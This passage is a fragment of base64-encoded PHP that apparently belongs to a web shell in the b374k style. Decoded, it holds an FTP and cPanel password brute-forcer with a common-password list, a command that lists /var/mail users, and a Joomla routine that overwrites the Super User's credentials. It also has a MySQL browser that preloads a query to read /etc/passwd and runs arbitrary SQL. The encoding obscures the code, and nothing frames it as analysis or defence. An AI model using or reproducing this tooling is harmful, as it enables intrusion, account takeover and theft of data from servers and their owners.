leGl0O307DQokdXNlcmxpc3Q9ZXhwbG9kZSgiXG4iLCR1c2Vycyk7JHBhc3NsaXN0PWV4cGxvZGUoIlxuIiwkcGFzcyk7cHJpbnQgIjxiPlt+XSBXYWl0IC4uLjwvYj48YnI+PGJyPiI7Zm9yZWFjaCAoJHVzZXJsaXN0IGFzICR1c2VyKSB7JHB1cmV1c2VyID0gdHJpbSgkdXNlcik7Zm9yZWFjaCAoJHBhc3NsaXN0IGFzICRwYXNzd29yZCApIHskcHVyZXBhc3MgPSB0cmltKCRwYXNzd29yZCk7aWYoJGNyYWNrdHlwZSA9PSAiZnRwIil7ZnRwX2NoZWNrKCR0YXJnZXQsJHB1cmV1c2VyLCRwdXJlcGFzcywkY29ubmVjdF90aW1lb3V0KTt9aWYgKCRjcmFja3R5cGUgPT0gImNwYW5lbCIpe2NwYW5lbF9jaGVjaygkdGFyZ2V0LCRwdXJldXNlciwkcHVyZXBhc3MsJGNvbm5lY3RfdGltZW91dCk7fX19fSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQplY2hvICI8Zm9ybSBtZXRob2Q9UE9TVCBhY3Rpb249Jyc+PHRhYmxlIHdpZHRoPSc2NyUnPjx0cj48dGQ+PGJyPjxwIGFsaWduPSdjZW50ZXInPjxiPjxzcGFuIGxhbmc9J2VuLXVzJz5JUDwvc3Bhbj4gOjxpbnB1dCBjbGFzcz0naW5wdXR6JyB0eXBlPSd0ZXh0JyBuYW1lPSd0YXJnZXQnIHNpemU9JzE2JyB2YWx1ZT0kdGFyZ2V0PjwvYj48L3A+PGRpdiBhbGlnbj0nY2VudGVyJz48cCBhbGlnbj0nY2VudGVyJz51c2Vyczx0ZXh0YXJlYSBjbGFzcz0naW5wdXR6JyBjb2xzPTIwIHJvd3M9MjAgbmFtZT0ndXNlcnMnPiI7DQpzeXN0ZW0oJ2xzIC92YXIvbWFpbCcpOw0KZWNobyAiPC90ZXh0YXJlYT5wYXNzd29yZHM8dGV4dGFyZWEgY2xhc3M9J2lucHV0eicgY29scz0yMCByb3dzPTIwIG5hbWU9J3Bhc3N3b3Jkcyc+MTIzMTIzXG4xMjM0NTZcbjEyMzQ1NjdcbjEyMzQ1Njc4XG4xMjM0NTY3ODlcbjE1OTE1OVxuMTEyMjMzXG5hZG1pblxuMzMyMjExXG4xNDc4OTYzXG5wYXNzd29yZFxucGFzc3dkXG4xNTkzNTdcbjM1Nzk1MVxuMTE0NDc3XG5wYXNzXG5QYXNzd29yZDwvdGV4dGFyZWE+PGJyPjxicj48aW5wdXQgbmFtZT0nY3JhY2t0eXBlJyB2YWx1ZT0nY3BhbmVsJyBjaGVja2VkIHR5cGU9J3JhZGlvJz48L3NwYW4+PGI+Q3BhbmVsKDIwODIpPC9iPjxpbnB1dCBuYW1lPSdjcmFja3R5cGUnIHZhbHVlPSdmdHAnIHN0eWxlPSdmb250LXdlaWdodDogNzAwOycgdHlwZT0ncmFkaW8nPjwvZm9udD48L2ZvbnQ+PGZvbnQgc3R5bGU9J2ZvbnQtd2VpZ2h0OiA3MDA7JyBzaXplPScyJyBmYWNlPSdUYWhvbWEnPjxzcGFuIHN0eWxlPSdmb250LXdlaWdodDogNzAwOyc+RnRwICgyMSk8L3NwYW4+PC9wPjxicj48Y2VudGVyPjxpbnB1dCBjbGFzcz0naW5wdXR6YnV0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdTdGFydCBDcmFja2luZycgbmFtZT0nc3VibWl0Jz48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT48L3RkPjwvdHI+PC9mb3JtPiI7ZGllKCk7fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdqb29tbGEnKSl7aWYoZW1wdHkoJF9QT1NUWydwd2QnXSkpe2VjaG8gIjxicj48YnI+PGJyPjxGT1JNIG1ldGhvZD0nUE9TVCc+PGJyPjxicj48YnI+REJfUHJlZml4IDombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nam9zXycgbmFtZT0ncHJlZml4JyB0eXBlPSd0ZXh0Jz4mbmJzcDtob3N0IDombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nbG9jYWxob3N0JyBuYW1lPSdsb2NhbGhvc3QnIHR5cGU9J3RleHQnPiZuYnNwO2RhdGFiYXNlIDombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nZGF0YWJhc2UnIG5hbWU9J2RhdGFiYXNlJyB0eXBlPSd0ZXh0Jz4mbmJzcDt1c2VybmFtZSA6Jm5ic3A7Jm5ic3A7PElOUFVUIGNsYXNzID0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J2RiX3VzZXInIG5hbWU9J3VzZXJuYW1lJyB0eXBlPSd0ZXh0Jz4mbmJzcDtwYXNzd29yZCA6Jm5ic3A7Jm5ic3A7PElOUFVUIGNsYXNzID0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J2RiX3Bhc3MnIG5hbWU9J3Bhc3N3b3JkJyB0eXBlPSd0ZXh0Jz48YnI+Jm5ic3A7Jm5ic3A7PGJyPk5ldyBVc2VybmFtZTombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIG5hbWU9J2FkbWluJyBzaXplPScxNScgdmFsdWU9J2syJz48YnI+PGJyPk5ldyBQYXNzd29yZDombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIG5hbWU9J3B3ZCcgc2l6ZT0nMTUnIHZhbHVlPScxMjMxMjMnPjxicj48YnI+Jm5ic3A7Jm5ic3A7PElOUFVUIHZhbHVlPSdjaGFuZ2UnIGNsYXNzPSdpbnB1dHpidXQnIG5hbWU9J3NlbmQnIHR5cGU9J3N1Ym1pdCc+PC9GT1JNPiI7fWVsc2UgeyRwcmVmaXggPSAkX1BPU1RbJ3ByZWZpeCddOyRsb2NhbGhvc3QgPSAkX1BPU1RbJ2xvY2FsaG9zdCddOyRkYXRhYmFzZSAgPSAkX1BPU1RbJ2RhdGFiYXNlJ107JHVzZXJuYW1lICA9ICRfUE9TVFsndXNlcm5hbWUnXTskcGFzc3dvcmQgID0gJF9QT1NUWydwYXNzd29yZCddOyRhZG1pbiA9ICRfUE9TVFsnYWRtaW4nXTskcGQgPSAoJF9QT1NUWyJwd2QiXSk7JHB3ZCA9IG1kNSgkcGQpO0BteXNxbF9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCkgb3IgZGllIChteXNxbF9lcnJvcigpKTtAbXlzcWxfc2VsZWN0X2RiKCRkYXRhYmFzZSkgb3IgZGllIChteXNxbF9lcnJvcigpKTskU1FMPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJuYW1lID0nIi4kYWRtaW4uIicgV0hFUkUgbmFtZSA9ICdTdXBlciBVc2VyJyBvciBuYW1lID0gJ1N1cGVyIFV0aWxpc2F0ZXVyJyBvciBpZD0nNjInIikgb3IgZGllIChteXNxbF9lcnJvcigpKTskU1FMPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHBhc3N3b3JkID0nIi4kcHdkLiInIFdIRVJFIG5hbWUgPSAnU3VwZXIgVXNlcicgb3IgbmFtZSA9ICdTdXBlciBVdGlsaXNhdGV1cicgb3IgaWQ9JzYyJyIpIG9yIGRpZSAobXlzcWxfZXJyb3IoKSk7aWYoJFNRTCkgZWNobyAiPGJyPjxicj48Y2VudGVyPjxoMT5Eb25lLi4uIGdvIGFuZCBsb2dpbjwvaDE+PC9jZW50ZXI+Ijt9fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdteXNxbCcpKXtpZihpc3NldCgkX0dFVFsnc3FsaG9zdCddKSAmJiBpc3NldCgkX0dFVFsnc3FsdXNlciddKSAmJiBpc3NldCgkX0dFVFsnc3FscGFzcyddKSAmJiBpc3NldCgkX0dFVFsnc3FscG9ydCddKSl7JHNxbGhvc3QgPSAkX0dFVFsnc3FsaG9zdCddOyRzcWx1c2VyID0gJF9HRVRbJ3NxbHVzZXInXTskc3FscGFzcyA9ICRfR0VUWydzcWxwYXNzJ107JHNxbHBvcnQgPSAkX0dFVFsnc3FscG9ydCddO2lmKCRjb24gPSBAbXlzcWxfY29ubmVjdCgkc3FsaG9zdC4iOiIuJHNxbHBvcnQsJHNxbHVzZXIsJHNxbHBhc3MpKXskbXNnIC49ICI8ZGl2IHN0eWxlPSd3aWR0aDo5OSU7cGFkZGluZzo0cHggMTBweCAwIDEwcHg7Jz4iOyRtc2cgLj0gIjxwPkNvbm5lY3RlZCB0byAiLiRzcWx1c2VyLiI8c3BhbiBjbGFzcz0nZ2F5YSc+QDwvc3Bhbj4iLiRzcWxob3N0LiI6Ii4kc3FscG9ydDskbXNnIC49ICImbmJzcDsmbmJzcDs8c3BhbiBjbGFzcz0nZ2F5YSc+LSZndDs8L3NwYW4+Jm5ic3A7Jm5ic3A7PGEgaHJlZj0nP3k9Ii4kcHdkLiImYW1wO3g9bXlzcWwmYW1wO3NxbGhvc3Q9Ii4kc3FsaG9zdC4iJmFtcDtzcWx1c2VyPSIuJHNxbHVzZXIuIiZhbXA7c3FscGFzcz0iLiRzcWxwYXNzLiImYW1wO3NxbHBvcnQ9Ii4kc3FscG9ydC4iJmFtcDsnPlsgZGF0YWJhc2VzIF08L2E+IjsNCmlmKGlzc2V0KCRfR0VUWydkYiddKSkgJG1zZyAuPSAiJm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2dheWEnPi0mZ3Q7PC9zcGFuPiZuYnNwOyZuYnNwOzxhIGhyZWY9Jz95PSIuJHB3ZC4iJmFtcDt4PW15c3FsJmFtcDtzcWxob3N0PSIuJHNxbGhvc3QuIiZhbXA7c3FsdXNlcj0iLiRzcWx1c2VyLiImYW1wO3NxbHBhc3M9Ii4kc3FscGFzcy4iJmFtcDtzcWxwb3J0PSIuJHNxbHBvcnQuIiZhbXA7ZGI9Ii4kX0dFVFsnZGInXS4iJz4iLmh0bWxzcGVjaWFsY2hhcnMoJF9HRVRbJ2RiJ10pLiI8L2E+IjsNCmlmKGlzc2V0KCRfR0VUWyd0YWJsZSddKSkgJG1zZyAuPSAiJm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2dheWEnPi0mZ3Q7PC9zcGFuPiZuYnNwOyZuYnNwOzxhIGhyZWY9Jz95PSIuJHB3ZC4iJmFtcDt4PW15c3FsJmFtcDtzcWxob3N0PSIuJHNxbGhvc3QuIiZhbXA7c3FsdXNlcj0iLiRzcWx1c2VyLiImYW1wO3NxbHBhc3M9Ii4kc3FscGFzcy4iJmFtcDtzcWxwb3J0PSIuJHNxbHBvcnQuIiZhbXA7ZGI9Ii4kX0dFVFsnZGInXS4iJmFtcDt0YWJsZT0iLiRfR0VUWyd0YWJsZSddLiInPiIuaHRtbHNwZWNpYWxjaGFycygkX0dFVFsndGFibGUnXSkuIjwvYT4iOyRtc2cgLj0gIjwvcD48cD52ZXJzaW9uIDogIi5teXNxbF9nZXRfc2VydmVyX2luZm8oJGNvbikuIiBwcm90byAiLm15c3FsX2dldF9wcm90b19pbmZvKCRjb24pLiI8L3A+IjskbXNnIC49ICI8L2Rpdj4iO2VjaG8gJG1zZzsNCmlmKGlzc2V0KCRfR0VUWydkYiddKSAmJiAoIWlzc2V0KCRfR0VUWyd0YWJsZSddKSkgJiYgKCFpc3NldCgkX0dFVFsnc3FscXVlcnknXSkpKXskZGIgPSAkX0dFVFsnZGInXTskcXVlcnkgPSAiRFJPUCBUQUJMRSBJRiBFWElTVFMgYjM3NGtfdGFibGU7XG5DUkVBVEUgVEFCTEUgYGIzNzRrX3RhYmxlYCAoIGBmaWxlYCBMT05HQkxPQiBOT1QgTlVMTCApO1xuTE9BRCBEQVRBIElORklMRSAnL2V0Yy9wYXNzd2QnXG5JTlRPIFRBQkxFIGIzNzRrX3RhYmxlO1NFTEVDVCAqIEZST00gYjM3NGtfdGFibGU7XG5EUk9QIFRBQkxFIElGIEVYSVNUUyBiMzc0a190YWJsZTsiOyRtc2cgPSAiPGRpdiBzdHlsZT0nd2lkdGg6OTklO3BhZGRpbmc6MCAxMHB4Oyc+PGZvcm0gYWN0aW9uPSc/JyBtZXRob2Q9J2dldCc+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0neScgdmFsdWU9JyIuJHB3ZC4iJyAvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd4JyB2YWx1ZT0nbXlzcWwnIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbGhvc3QnIHZhbHVlPSciLiRzcWxob3N0LiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHVzZXInIHZhbHVlPSciLiRzcWx1c2VyLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHBvcnQnIHZhbHVlPSciLiRzcWxwb3J0LiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHBhc3MnIHZhbHVlPSciLiRzcWxwYXNzLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2RiJyB2YWx1ZT0nIi4kZGIuIicgLz4gPHA+PHRleHRhcmVhIG5hbWU9J3NxbHF1ZXJ5JyBjbGFzcz0nb3V0cHV0JyBzdHlsZT0nd2lkdGg6OTglO2hlaWdodDo4MHB4Oyc+JHF1ZXJ5PC90ZXh0YXJlYT48L3A+IDxwPjxpbnB1dCBjbGFzcz0naW5wdXR6YnV0JyBzdHlsZT0nd2lkdGg6ODBweDsnIG5hbWU9J3N1Ym1pdHF1ZXJ5JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdHbyAhJyAvPjwvcD4gPC9mb3JtPjwvZGl2PiAiOyR0YWJsZXMgPSBhcnJheSgpOyRtc2cgLj0gIjx0YWJsZSBjbGFzcz0nZXhwbG9yZScgc3R5bGU9J3dpZHRoOjk5JTsnPjx0cj48dGg+YXZhaWxhYmxlIHRhYmxlcyBvbiAiLiRkYi4iPC90aD48L3RyPiI7JGhhc2lsID0gQG15c3FsX2xpc3RfdGFibGVzKCRkYiwkY29uKTsNCndoaWxlKGxpc3QoJHRhYmxlKSA9IEBteXNxbF9mZXRjaF9yb3coJGhhc2lsKSl7QGFycmF5X3B1c2goJHRhYmxlcywkdGFibGUpO30gQHNvcnQoJHRhYmxlcyk7DQpmb3JlYWNoKCR0YWJsZXMgYXMgJHRhYmxlKXskbXNnIC49ICI8dHI+PHRkPjxhIGhyZWY9Jz95PSIuJHB3ZC4iJmFtcDt4PW15c3FsJmFtcDtzcWxob3N0PSIuJHNxbGhvc3QuIiZhbXA7c3FsdXNlcj0iLiRzcWx1c2VyLiImYW1wO3NxbHBhc3M9Ii4kc3FscGFzcy4iJmFtcDtzcWxwb3J0PSIuJHNxbHBvcnQuIiZhbXA7ZGI9Ii4kZGIuIiZhbXA7dGFibGU9Ii4kdGFibGUuIic+JHRhYmxlPC9hPjwvdGQ+PC90cj4iO30gJG1zZyAuPSAiPC90YWJsZT4iO30gDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3RhYmxlJ10pICYmICghaXNzZXQoJF9HRVRbJ3NxbHF1ZXJ5J10pKSl7DQokZGIgPSAkX0dFVFsnZGInXTskdGFibGUgPSAkX0dFVFsndGFibGUnXTskcXVlcnkgPSAiU0VMRUNUICogRlJPTSAiLiRkYi4iLiIuJHRhYmxlLiIgTElNSVQgMCwxMDA7IjsNCiRtc2dxID0gIjxkaXYgc3R5bGU9J3dpZHRoOjk5JTtwYWRkaW5nOjAgMTBweDsnPjxmb3JtIGFjdGlvbj0nPycgbWV0aG9kPSdnZXQnPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd5JyB2YWx1ZT0nIi4kcHdkLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3gnIHZhbHVlPSdteXNxbCcgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FsaG9zdCcgdmFsdWU9JyIuJHNxbGhvc3QuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FsdXNlcicgdmFsdWU9JyIuJHNxbHVzZXIuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FscG9ydCcgdmFsdWU9JyIuJHNxbHBvcnQuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FscGFzcycgdmFsdWU9JyIuJHNxbHBhc3MuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZGInIHZhbHVlPSciLiRkYi4iJyAvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd0YWJsZScgdmFsdWU9JyIuJHRhYmxlLiInIC8+IDxwPjx0ZXh0YXJlYSBuYW1lPSdzcWxxdWVyeScgY2xhc3M9J291dHB1dCcgc3R5bGU9J3dpZHRoOjk4JTtoZWlnaHQ6ODBweDsnPiIuJHF1ZXJ5LiI8L3RleHRhcmVhPjwvcD4gPHA+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHN0eWxlPSd3aWR0aDo4MHB4OycgbmFtZT0nc3VibWl0cXVlcnknIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0dvICEnIC8+PC9wPiA8L2Zvcm0+PC9kaXY+ICI7DQokY29sdW1ucyA9IGFycmF5KCk7JG1zZyA9ICI8dGFibGUgY2xhc3M9J2V4cGxvcmUnIHN0eWxlPSd3aWR0aDo5OSU7Jz4iOyRoYXNpbCA9IEBteXNxbF9xdWVyeSgiU0hPVyBGSUVMRFMgRlJPTSAiLiRkYi4iLiIuJHRhYmxlKTt3aGlsZShsaXN0KCRjb2x1bW4pID0gQG15c3FsX2ZldGNoX3JvdygkaGFzaWwpKXsNCiRtc2cgLj0gIjx0aD4kY29sdW1uPC90aD4iOyRrb2x1bSA9ICRjb2x1bW47fSRtc2cgLj0gIjwvdHI+IjskaGFzaWwgPSBAbXlzcWxfcXVlcnkoIlNFTEVDVCBjb3VudCgqKSBGUk9NICIuJGRiLiIuIi4kdGFibGUpOw0KbGlzdCgkdG90YWwpID0gbXlzcWxfZmV0Y2hfcm93KCRoYXNpbCk7DQppZihpc3NldCgkX0dFVFsneiddKSkgJHBhZ2UgPSAoaW50KSAkX0dFVFsneiddOw0KZWxzZSAkcGFnZSA9IDE7JHBhZ2VudW0gPSAxMDA7JHRvdHBhZ2UgPSBjZWlsKCR0b3RhbCAvICRwYWdlbnVtKTskc3RhcnQgPSAoKCRwYWdlIC0gMSkgKiAkcGFnZW51bSk7JGhhc2lsID0gQG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NICIuJGRiLiIuIi4kdGFibGUuIiBMSU1JVCAiLiRzdGFydC4iLCIuJHBhZ2VudW0pOw0Kd2hpbGUoJGRhdGFzID0gQG15c3FsX2ZldGNoX2Fzc29jKCRoYXNpbCkpeyRtc2cgLj0gIjx0cj4iO2ZvcmVhY2goJGRhdGFzIGFzICRkYXRhKXtpZih0cmltKCRkYXRhKSA9PSAiIikgDQokZGF0YSA9ICImbmJzcDsiOyRtc2cgLj0gIjx0ZD4kZGF0YTwvdGQ+Ijt9JG1zZyAuPSAiPC90cj4iO30gJG1zZyAuPSAiPC90YWJsZT4iOyRoZWFkID0gIjxkaXYgc3R5bGU9J3BhZGRpbmc6MTBweCAwIDAgNnB4Oyc+IDxmb3JtIGFjdGlvbj0nPycgbWV0aG9kPSdnZXQnPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd5JyB2YWx1ZT0nIi4kcHdkLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3gnIHZhbHVlPSdteXNxbCcgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FsaG9zdCcgdmFsdWU9JyIuJHNxbGhvc3QuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FsdXNlcicgdmFsdWU9JyIuJHNxbHVzZXIuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FscG9ydCcgdmFsdWU9JyIuJHNxbHBvcnQuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FscGFzcycgdmFsdWU9JyIuJHNxbHBhc3MuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZGInIHZhbHVlPSciLiRkYi4iJyAvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd0YWJsZScgdmFsdWU9JyIuJHRhYmxlLiInIC8+IFBhZ2UgPHNlbGVjdCBjbGFzcz0naW5wdXR6JyBuYW1lPSd6JyBvbmNoYW5nZT0ndGhpcy5mb3JtLnN1Ym1pdCgpOyc+IjsNCmZvcigkaSA9IDE7JGkgPD0gJHRvdHBhZ2U7JGkrKyl7JGhlYWQgLj0gIjxvcHRpb24gdmFsdWU9JyIuJGkuIic+Ii4kaS4iPC9vcHRpb24+IjsNCmlmKCRpID09ICRfR0VUWyd6J10pICRoZWFkIC49ICI8b3B0aW9uIHZhbHVlPSciLiRpLiInIHNlbGVjdGVkPSdzZWxlY3RlZCc+Ii4kaS4iPC9vcHRpb24+Ijt9ICRoZWFkIC49ICI8L3NlbGVjdD48bm9zY3JpcHQ+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0dvICEnIC8+PC9ub3NjcmlwdD48L2Zvcm0+PC9kaXY+IjskbXNnID0gJG1zZ3EuJGhlYWQuJG1zZzt9IA0KZWxzZWlmKGlzc2V0KCRfR0VUWydzdWJtaXRxdWVyeSddKSAmJiAoJF9HRVRbJ3NxbHF1ZXJ5J10gIT0gIiIpKXskZGIgPSAkX0dFVFsnZGInXTskcXVlcnkgPSBtYWdpY2Jvb20oJF9HRVRbJ3NxbHF1ZXJ5J10pOw0KJG1zZyA9ICI8ZGl2IHN0eWxlPSd3aWR0aDo5OSU7cGFkZGluZzowIDEwcHg7Jz48Zm9ybSBhY3Rpb249Jz8nIG1ldGhvZD0nZ2V0Jz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0neScgdmFsdWU9JyIuJHB3ZC4iJyAvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd4JyB2YWx1ZT0nbXlzcWwnIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbGhvc3QnIHZhbHVlPSciLiRzcWxob3N0LiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHVzZXInIHZhbHVlPSciLiRzcWx1c2VyLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHBvcnQnIHZhbHVlPSciLiRzcWxwb3J0LiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHBhc3MnIHZhbHVlPSciLiRzcWxwYXNzLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2RiJyB2YWx1ZT0nIi4kZGIuIicgLz4gPHA+PHRleHRhcmVhIG5hbWU9J3NxbHF1ZXJ5JyBjbGFzcz0nb3V0cHV0JyBzdHlsZT0nd2lkdGg6OTglO2hlaWdodDo4MHB4Oyc+Ii4kcXVlcnkuIjwvdGV4dGFyZWE+PC9wPiA8cD48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgc3R5bGU9J3dpZHRoOjgwcHg7JyBuYW1lPSdzdWJtaXRxdWVyeScgdHlwZT0nc3VibWl0JyB2YWx1ZT0nR28gIScgLz48L3A+IDwvZm9ybT48L2Rpdj4gIjsNCkBteXNxbF9zZWxlY3RfZGIoJGRiKTskcXVlcnlzID0gZXhwbG9kZSgiOyIsJHF1ZXJ5KTsNCmZvcmVhY2goJHF1ZXJ5cyBhcyAkcXVlcnkpe2lmKHRyaW0oJHF1ZXJ5KSAhPSAiIil7JGhhc2lsID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTsNCmlmKCRoYXNpbCl7JG1zZyAuPSAiPHAgc3R5bGU9J3BhZGRpbmc6MDttYXJnaW46MjBweCA2cHggMCA2cHg7Jz4iLiRxdWVyeS4iOyZuYnNwOyZuYnNwOyZuYnNwOzxzcGFuIGNsYXNzPSdnYXlhJz5bPC9zcGFuPiBvayA8c3BhbiBjbGFzcz0nZ2F5YSc+XTwvc3Bhbj48L3A+IjskbXNnIC49ICI8dGFibGUgY2xhc3M9J2V4cGxvcmUnIHN0eWxlPSd3aWR0aDo5OSU7Jz48dHI+IjsNCmZvcigkaT0wOyRpPEBteXNxbF9udW1fZmllbGRzKCRoYXNpbCk7JGkrKykgDQokbXNnIC49ICI8dGg+Ii5odG1sc3BlY2lhbGNoYXJzKEBteXNxbF9maWVsZF9uYW1lKCRoYXNpbCwkaSkpLiI8L3RoPiI7JG1zZyAuPSAiPC90cj4iOw0KZm9yKCRpPTA7JGk8QG15c3FsX251bV9yb3dzKCRoYXNpbCk7JGkrKykgDQp7JHJvd3M9QG15c3FsX2ZldGNoX2FycmF5KCRoYXNpbCk7JG1zZyAuPSAiPHRyPiI7DQpmb3IoJGo9MDskajxAbXlzcWxfbnVtX2ZpZWxkcygkaGFzaWwpOyRqKyspIHsNCmlmKCRyb3dzWyRqXSA9PSAiIikgJGRhdGF6ID0gIiZuYnNwOyI7DQplbHNlICRkYXRheiA9ICRyb3dzWyRqXTskbXNnIC49ICI8dGQ+Ii4kZGF0YXouIjwvdGQ+Ijt9ICRtc2cgLj0gIjwvdHI+Ijt9ICRtc2cgLj0gIjwvdGFibGU+Ijt9IA0KZWxzZSAkbXNnIC49ICI8cCBzdHlsZT0ncGFkZGluZzowO21hcmdpbjoyMHB4IDZweCAwIDZweDsnPiIuJHF1ZXJ5LiI7Jm5ic3A7Jm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2dheWEnPls8L3NwYW4+IGVycm9yIDxzcGFuIGNsYXNzPSdnYXlhJz5dPC9zcGFuPjwvcD4iO30gfSB9IA0KZWxzZSB7JHF1ZXJ5ID0gIlNIT1cgUFJPQ0VTU0xJU1Q7XG5TSE9XIFZBUklBQkxFUztcblNIT1cgU1RBVFVTOyI7JG1zZyA9ICI8ZGl2IHN0eWxlPSd3aWR0aDo5OSU7cGFkZGluZzowIDEwcHg7Jz48Zm9ybSBhY3Rpb249Jz8nIG1ldGhvZD0nZ2V0Jz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0neScgdmFsdWU9JyIuJHB3ZC4iJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3gnIHZhbHVlPSdteXNxbCcgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdzcWxob3N0JyB2YWx1ZT0nIi4kc3FsaG9zdC4iJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHVzZXInIHZhbHVlPSciLiRzcWx1c2VyLiInIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FscG9ydCcgdmFsdWU9JyIuJHNxbHBvcnQuIicgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdzcWxwYXNzJyB2YWx1ZT0nIi4kc3FscGFzcy4iJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2RiJyB2YWx1ZT0nIi4kZGIuIicgLz48cD48dGV4dGFyZWEgbmFtZT0nc3FscXVlcnknIGNsYXNzPSdvdXRwdXQnIHN0eWxlPSd3aWR0aDo5OCU7aGVpZ2h0OjgwcHg7Jz4iLiRxdWVyeS4iPC90ZXh0YXJlYT48L3A+PHA+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHN0eWxlPSd3aWR0aDo4MHB4OycgbmFtZT0nc3VibWl0cXVlcnknIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0dvICEnIC8+PC9wPjwvZm9ybT48L2Rpdj4gIjskZGJzID0gYXJyYXkoKTskbXNnIC49ICI8dGFibGUgY2xhc3M9J2V4cGxvcmUnIHN0eWxlPSd3aWR0aDo5OSU7Jz48dHI+PHRoPmF2YWlsYWJsZSBkYXRhYmFzZXM8L3RoPjwvdHI+IjskaGFzaWwgPSBAbXlzcWxfbGlzdF9kYnMoJGNvbik7DQp3aGlsZShsaXN0KCRkYikgPSBAbXlzcWxfZmV0Y2hfcm93KCRoYXNpbCkpe0BhcnJheV9wdXNoKCRkYnMsJGRiKTt9IEBzb3J0KCRkYnMpO2ZvcmVhY2goJGRicyBhcyAkZGIpew0KJG1zZyAuPSAiPHRyPjx0ZD48YSBocmVmPSc/eT0iLiRwd2QuIiZhbXA7eD1teXNxbCZhbXA7c3FsaG9zdD0iLiRzcWxob3N0LiImYW1wO3NxbHVzZXI9Ii4kc3FsdXNlci4iJmFtcDtzcWxwYXNzPSIuJHNxbHBhc3MuIiZhbXA7c3FscG9ydD0iLiRzcWxwb3J0LiImYW1wO2RiPSIuJGRiLiInPiRkYjwvYT48L3RkPjwvdHI+Ijt9ICRtc2cgLj0gIjwvdGFibGU+Ijt9IA0KQG15c3FsX2Nsb3NlKCRjb24pO30gZWxzZSAkbXNnID0gIjxwIHN0eWxlPSd0ZXh0L